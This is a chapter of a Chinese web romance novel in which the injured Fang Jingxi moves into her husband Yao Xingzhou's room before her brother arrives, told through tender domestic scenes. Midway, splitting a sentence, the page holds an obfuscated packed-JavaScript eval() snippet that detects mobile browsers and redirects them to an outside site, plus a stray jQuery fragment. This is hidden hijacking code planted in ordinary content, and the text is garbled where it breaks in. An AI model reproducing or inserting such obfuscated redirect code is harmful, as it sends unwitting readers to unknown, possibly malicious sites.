回到翠云栖已经晚上八点,回程路上方镜西时不时看一眼手机,乔听寒那边还没消息。
应该不会有什么大问题,她在心里这样安慰自己。
姚行舟就看她低头盯着手机,路也不看,看来腰不疼了。
“嘶……”额头撞上一堵硬邦邦的“墙”,她倒吸一口凉气,抬眼看向前面的身影,“你怎么突然停下来?”
听出她语气里的委屈,他到底什么也没说,伸手揽住她的左胳膊,“撞疼了?”
“没事。”方镜西下意识往后躲,没躲开。
“还看手机?”
“看啊。”工作群的消息她还没看完。
“那就别动。”姚行舟将人又往怀里搂了搂。
方镜西被他带着走,半个身子的力都卸到他身上,顿时右侧腰伤没那么疼了。
晚饭是他做的番茄鸡蛋面,她碗里满满都是番茄汤。
乔听寒也打来电话,和逗逗的合同已经签好,现在就差审核了,最快一周能审完。
方镜西提着的心这才放下来。
--
方镜西抱着最后一丝希望问道:“楼下能住人吗?”
“不能,楼下没床。”姚行舟摇头。
她哥哥明天过来,得给他找个住的地方,三十楼就俩卧室,一间她住,一间他住。
姚行舟好像不愿意陌生人住他的卧室。
可总不能让她哥住酒店吧,住对面华源也不方便。
“让你哥住次卧。”
方镜西一愣,“那我呢?”
“你住主卧。”
“那你住哪儿?”方镜西恍然大悟,“哦,我忘了你要出差,那我住主卧。”
姚行舟淡淡瞥她一眼,意味深长,“我现在给你搬东西。”
“现在?现在搬干嘛?”而且,现在搬的话,那今晚又要和他睡一张床。
“明天早上来不及,我赶飞机。”
“没事啊,让我哥搬。”
“不合适。”
“这有什么不合适,我今晚还住次卧,你不是不愿意陌生人住你房间嘛。”
听到这话,姚行舟勾起唇角,眼底流淌着潋潋笑意,倾身凑到方镜西耳边,“咱俩是陌生人吗?”
“你见哪个陌生人领结婚证、睡一张床、盖一床被子的?”
眼见白皙柔软的耳朵瞬间变红,姚行舟笑意更盛,起身去往主卧。
耳边热气似乎还在,方镜西一个人闷头坐在沙发上心绪烦乱。
他说的是在镜园那几晚。
但是,他俩什么时候盖一床被子了?
那几晚她分明又给他找了一床被子,虽然最后两条被子都裹她自己身上了。
想起这事方镜西就懊恼,他睡觉相当规矩,只占那么一小块儿位置,反倒是她,都要把他挤床底下去了。
“发什么呆?该上药了。”
突然冒出的声音吓得方镜西一激灵,“你走路怎么没声?”
姚行舟睨她一眼,哼笑:“我何止走路没声音,我说话都没声音。”
方镜西:“?”
方镜西:“……”至于吗?不就是没听见他说话吗!
“趴好。”
方镜西脸色极不情愿,转身举起双肘撑在沙发靠背上。
姚行舟眼神略过她的身体曲线,手上揉搓药膏的动作顿住,耐心解释,“一会儿我把你东西都放到主卧,明天早上来不及。而且你哥来咱们家里照顾你,还要自己收拾客房,这不合适。”
方镜西本想说她哥不介意,他俩是亲兄妹,可又想起对方和她哥不熟,在他看来,她哥就是个来家里做客的陌生人。
“好,那就麻烦你搬一下了。”
“你能趴到沙发上吗?还是沙发不舒服?想去床上?”
方镜西被他这话惊得顿时红温,什么叫‘沙发不舒服,想去床上’?
不知道的还以为他俩怎么了呢!
“我就这样!”
“你这个姿势,我使不上力。”
“……”那他就不能直接说上药不方便吗?
听听,说得都是些什么虎狼之词!
方镜西绷紧身子,缓慢调整姿势,整个人平趴到沙发上。
姚行舟本想将她抱起来,可手上全是药膏,只能作罢,看她慢慢动作。
后腰那处青紫比起白天更严重了。
“伤口是不是好点啦?”方镜西将脸侧过来,视线斜向右后方,扬声询问。
身后的人没立即回答,沉默一会儿,冷笑一声,吐出四个字,“更严重了。”
她顿时蔫了,又将脸转回来埋进沙发里乖乖趴着。
滚烫的手掌紧紧贴着那处肌肤,方镜西感觉他手掌心经过的地方,瞬间燎起一片火,她咬着牙生怕泄出一丝声音。
姚行舟能清晰感受到她紧绷的身体,以及想要极力压抑着声音,可惜还是有一丝丝呻吟钻入耳中。
上完药,姚行舟猛地起身,伸手擦了下鬓角的汗,“你在这儿等等,我给你搬东西。”
“唔……”涂完药很舒服,感觉不到疼,还有汩汩暖流涌过。
听着她略带娇媚的声音,姚行舟不敢再停留,迅速奔向次卧。
次卧东西很少,打理得很整洁,到处都是她身上的味道,姚行舟站在床边愣了会神,才将她的被子单独拿出来,把床上其他东西收起来,又从衣帽间拿了一套新的床品铺到床上。
把属于她的被子放到自己床上,又将她的洗漱用品放到自己浴室。
来回六趟才搬完她的那些瓶瓶罐罐。
床头柜放着几本书,内容挺杂,纪录片、漆器髹饰技法、还有一本管理学的书。
《第五项修炼》,全英文,挺晦涩难懂的一本书,他上学的时候看过这本书。
她看了一半多,批阅很多,字迹潇洒遒丽,里面还夹着一支钢笔。
是他的钢笔,她上次拿了忘记还给他。
原来她一直在用。
目光落到书下面压着的数据线,他脑海中忽然闪过那件白色的肚兜。拿数据线的动作顿住,垂下眼睑,不敢多看,伸出手指勾住数据线,脚步匆忙回了主卧。
姚行舟冲过澡,准备去客厅叫人进来休息,已经十一点多。
沙发上的人早已睡着,可能是腰伤太疼,睡梦中她都紧紧蹙着眉,脸颊红红的,耳朵也特别红,有这么热吗?
怕她发烧,他伸手探了探她的额头,温度正常。
为避免碰到她的腰伤,他一手揽过她的肩,另一只手托起她的腿,将人扛到肩上。
或许是他动作有些粗鲁,引得她不舒服地哼唧几声。
把人放到床上后,姚行舟准备将她那边的灯关掉,垂眸看向睡得正熟的人,眼底溢出浅淡笑意,心想,如果她平时能像睡梦中这样安静就好了。
不对,她睡着也不安分,整个人霸道得很,恨不得将整张床都据为己有。
他伸手将她脸上的发丝拨开,奇怪,有这么热吗?她耳朵怎么这么红?
姚行舟又将她左侧的发丝拨开,白皙小巧的耳朵出现他眼前。
他皱眉盯着她的右耳朵,不正常的红,还有些肿。
她一天天的都在干嘛?怎么哪儿哪儿都是伤?
“姚行舟你想干嘛?”
熟睡的人忽然睁开眼,目光直直看向他,语调毫无起伏。
甜腻的气息扑在脸上,他微微后仰,“……你右耳怎么回事?怎么肿了?”
“被文件夹砸了下。”
“砸?怎么砸的?谁砸的?”
“镜西?”
没人应,睡着了。
他盯着那抹不正常的红,起身又去客厅拿药膏,给她涂在耳朵上。
--
方境北和馆里请了一周假,到达翠云栖时还早,按门铃一直没人来开门。
他拨通姚行舟的电话。
昏暗卧室里,手机嗡嗡响,扰得方镜西直皱眉,她闭眼循声伸手摸索。
睡梦中的姚行舟感觉到好像有人在摸自己,身体下意识反应捉住那只不安分的手,柔软细腻的感觉让他立时清醒,睁眼一片暗。
手机嗡嗡声夹杂着旁边人不满的咕哝声,他顿时拿起手机按了挂断。
她还在咕哝,迟疑一瞬,他倾身过去,将人搂进怀里,轻拍她的后脊,柔声安抚,直至她呼吸重新平稳,这才起身拿着手机出了卧室。
方境北看着被挂断的电话有些愣神,挂电话什么意思?他已经走了?
他翻出方镜西的电话,准备联系她,结果姚行舟的电话重新弹出。
“你走了?”
“没有,在家。”姚行舟咬了咬舌尖,试图让身体清醒一点。
方境北听着他沙哑的声音,瞬间了然,“你还没起床?”
“……我给你开门。”
又等了几分钟门才打开,方境北上下打量他一眼,他还穿着睡衣,面容倦怠,头发有些凌乱。
明显一副没睡醒,被他电话吵到的样子。
“西西呢?”
“……还在睡。”姚行舟眼神落在方境北右手拎着的袋子上,御酥记,看起来像是糕点。
“你什么时候走?”
“十点的飞机。”
方境北看了眼时间,六点半,也不是很早,再不走他该迟到了。
姚行舟只当没看见他的动作,指给他次卧的方向。
“我知道。我之前看过这里的户型图。”
“想在这里买房?”
“嗯,想给西西买,钱不够,就在对面给她买了套。”
姚行舟看了他一眼,钱不够?不说方家百年底蕴,就说方仲清的绿树集团每年给他的分红买这里的房子绰绰有余。
方境北又笑着解释,“我当时参加工作没多久,工资也不高,加上我自己之前攒的钱,顶多买对面的房子。”
姚行舟心里讶异一瞬,像他这样完全不靠家里,只凭借自己的能力的二代没几个。
他俩不愧是亲兄妹,一个不靠家里接济买房,一个隐瞒身份在娱乐圈闯荡。
“你先坐。”姚行舟转身回主卧,他还没洗漱。
十点的飞机,再不走他真赶不上了。
没想到他一觉睡到六点半。
卧室里,方镜西依旧沉睡。
姚行舟视线
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783065|206833||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
环视四周,五十多平的主卧一个人住时,他觉得异常空旷。
现下不过多了一个人、一床被子、几本书,他却觉得拥挤起来,到处都是她身上的柑橘气息。
他垂眸盯着床上的人,昨晚她倒是老实,规规矩矩地睡在属于她的这一侧。
可他却依旧到了后半夜才勉强睡着,原以为能同平时一样六点准时起床,结果却是被她“叫醒”。
或许是他的目光犹如实质,她蹙了蹙眉,将脸转到另一侧,只留下一半侧脸。
右耳隐在发丝间,他心念一动,轻轻勾起那几根卷发,如同捏起那晚挂在他袖口上的卷发一样。
屋子里太暗,看不清她右耳的状况,他动作缓慢地蹲下身,左腿单膝跪地,抵在柔软的地毯上,倾身向前,盯着她的耳朵。
红肿消散许多,看来再涂两三次药就差不多了。
他目光不受控制地顺着耳垂往下看去,睡衣领口敞开,白嫩的脖颈间缠绕着几缕黑色发丝,随着她的呼吸,发丝不断起伏。
等他回过神,手已经触上那弯纤细的脖颈,指腹下的脉搏缓缓跳动,鼻间是她身上清甜的味道。
他被烫得瞬间缩回手,迅速站起身。
方境北坐在客厅耐心地等他出来,直至过去四十分钟。
他真不怕赶不上飞机?
思索间,姚行舟拎着箱子出来。
“她右耳朵不知道怎么也伤了,需要上药,我昨晚给她上过一次,一会儿你记得提醒她接着上药。再上两三次差不多就好了。护工八点到,她会帮着镜西上药。”
“右耳朵也伤了?”方境北皱眉。
“嗯,说是被文件夹砸了下,后面我再追问,她就睡着了。”
“……好,我一会儿给她上药。”
“大门密码是192021。”姚行舟拎着箱子走到玄关处,又想起什么似的,转头对着身后的方境北说道。
方境北愣了下,“这是……密码?”
“嗯。”
--
睁眼一片昏暗,方镜西盯着天花板失神片刻,才艰难地撑着手肘起床。
早上好像有电话,她拿起手机看,不到八点,屏幕上干干净净,没有任何来电。
难不成她睡懵了?
可她明明记得有人在她耳边说话,她还回应了对方。
打开手机看也没有任何未接,最近的一通电话是昨晚乔听寒打来的。
她心想或许真睡懵了,掀开被子下床,脚下柔软的触感让她顿感陌生,不信邪地又试着踩了踩。
确实是地毯,可她的卧室根本没铺地毯。
方镜西茫然环视四周,她的书、她的玩偶抱枕都在,却不是她的次卧。
哦,她为了给她哥腾位置搬到了主卧,但是,她记得她在沙发上睡着了。
姚行舟怎么把她弄进来的?
门外传来敲门声。
“姚行舟?你还没走?”
“……是我。”
“哥?等我洗漱啊!”方镜西没想到她哥来这么早,简单收拾后赶紧出了卧室。
客厅里除了她哥还有个面善的中年女性。
“姚行舟呢?”
“……走了。”方境北静静盯着她,刚起床就姚行舟长姚行舟短的。
走了?那太好了!没人管她了!
方镜西完全没察觉到她哥别有深意的目光。
“这位是护工,来帮你上药。”方境北知道姚行舟找他过来就是为了管方镜西,光有护工看不住她。
至于什么怕长辈担心,完全是为了她面子好看。她又没伤到骨头,卧床休息几天就行,估计姚行舟想让她回镜园,她不愿意。
方境北问她,“你耳朵也受伤了?”
“没啊,就是不小心被文件夹砸了下,你怎么知道?”
方镜西补充,“没事,我刚刚看了,都不红了。”
“嗯,那接着上药吧。”
“不用,它自己就好了。”方镜西嫌麻烦,和腰伤比起来根本不疼。
“要不是上了药你以为能这么快好?”
“我没上药啊。”
方境北看她一眼,“昨晚姚行舟给你上药你不知道?”
“?”方镜西完全没印象,她只记得她在沙发上睡着了,睁眼就是卧室天花板。
“哥——”
“打住!我和乔董联系过了,他说让你在家休息,你们工作室目前没什么急事需要你出面。”方境北将御酥记递给她,“不准一次性吃完。”
“!”方镜西刚升起的不满瞬间消散,“谢谢哥哥!”
“我扶你去卧室?”
“去楼下吧,我想看片子。”她迫不及待打开袋子,挑拣半天选了个最大块的蛋糕。
方境北点头,“行。”只要在家,干什么都行。
二人坐电梯下楼。
“密码是192021。”方镜西对站在门前准备开门的方境北说道。
方境北手顿住,“密码是192、021?”
“嗯。”
192021
192021
一个密码,两种读法。